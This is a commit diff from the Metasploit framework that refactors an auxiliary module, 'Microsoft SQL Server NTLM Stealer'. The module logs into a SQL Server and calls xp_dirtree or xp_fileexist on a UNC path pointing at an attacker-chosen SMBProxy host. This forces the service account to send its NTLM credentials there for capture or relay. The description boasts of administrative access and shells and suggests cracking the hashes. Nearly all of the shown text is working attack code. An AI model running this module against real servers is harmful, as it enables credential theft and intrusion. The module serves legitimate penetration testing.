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metasploit-framework
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Merge pull request #1 from jvazquez-r7/nullbind_test1 

Looks good and works as excepted. Thanks for the updates!
- jvazquez-r7 did some nice clean up
unstable
Scott Sutherland 2012-10-17 13:45:11 -07:00
parent fafa6e49ce 12e2ff9bb5
commit b14a980462
1 changed files with 32 additions and 40 deletions
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66
modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb
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@ -4,29 +4,25 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::MSSQL
include Msf::Auxiliary::Scanner
include Rex::Text
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server NTLM Stealer',
'Description' => %q{
This module can be used to help capture or relay the LM/NTLM
credentials of the account running the remote SQL Server service.
The module will use the supplied credentials to connect to the
target SQL Server instance and execute the native "xp_dirtree" or
"xp_fileexist" stored procedure. The stored procedures will then
force the service account to authenticate to the system defined in
the SMBProxy option. In order for the attack to be successful, the
SMB capture or relay module must be running on the system defined
as the SMBProxy. The database account used to connect to the
database should only require the "PUBLIC" role to execute.
Successful execution of this attack usually results in local
administrative access to the Windows system. Specifically, this
works great for relaying credentials between two SQL Servers using
a shared service account to get shells. However, if the relay fails,
then the LM hash can be reversed using the Halflm rainbow tables and
john the ripper. Thanks to "Sh2kerr" who wrote the ora_ntlm_stealer
for the inspiration.
This module can be used to help capture or relay the LM/NTLM credentials of the
account running the remote SQL Server service. The module will use the supplied
credentials to connect to the target SQL Server instance and execute the native
"xp_dirtree" or "xp_fileexist" stored procedure. The stored procedures will then
force the service account to authenticate to the system defined in the SMBProxy
option. In order for the attack to be successful, the SMB capture or relay module
must be running on the system defined as the SMBProxy. The database account used
to connect to the database should only require the "PUBLIC" role to execute.
Successful execution of this attack usually results in local administrative access
to the Windows system. Specifically, this works great for relaying credentials
between two SQL Servers using a shared service account to get shells. However, if
the relay fails, then the LM hash can be reversed using the Halflm rainbow tables
and john the ripper. Thanks to "Sh2kerr" who wrote the ora_ntlm_stealer for the
inspiration.
},
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>' ],
'License' => MSF_LICENSE,
@ -45,43 +41,39 @@ class Metasploit3 < Msf::Auxiliary
# Reminder
print_status("DONT FORGET to run a SMB capture or relay module!")
# Set default result (fail)
result = 0
# Call auth_force method to execute "xp_dirtree"
result = force_auth("xp_dirtree",datastore['SMBPROXY'],rhost,rport)
begin
force_auth("xp_dirtree",datastore['SMBPROXY'])
return
rescue
print_error("xp_dirtree failed to initiate authentication to smbproxy.")
end
# Call auth_force method to execute "xp_fileexist" if "xp_dirtree" fails
if result == 0 then
force_auth("xp_fileexist",datastore['SMBPROXY'],rhost,rport)
end
begin
force_auth("xp_fileexist",datastore['SMBPROXY'])
return
rescue
print_error("xp_fileexist failed to initiate authentication to smbproxy.")
end
end
# --------------------------------------------
# Method to force sql server to authenticate
# --------------------------------------------
def force_auth(sprocedure,smbproxy,vic,vicport)
def force_auth(sprocedure,smbproxy)
print_status("Forcing SQL Server at #{vic} to auth to #{smbproxy} via #{sprocedure}...")
print_status("Forcing SQL Server at #{rhost} to auth to #{smbproxy} via #{sprocedure}...")
# Generate random file name
rand_filename = Rex::Text.rand_text_alpha(8, bad='')
# Setup query
sql = "#{sprocedure} '\\\\#{smbproxy}\\#{rand_filename}'"
# Execute query
begin
result = mssql_query(sql, false) if mssql_login_datastore
column_data = result[:rows]
print_good("Successfully executed #{sprocedure} on #{rhost}")
print_good("Go check your SMB relay or capture module for goodies!")
return 1
rescue
print_error("#{sprocedure} failed to initiate authentication to smbproxy.")
return 0
end
end
end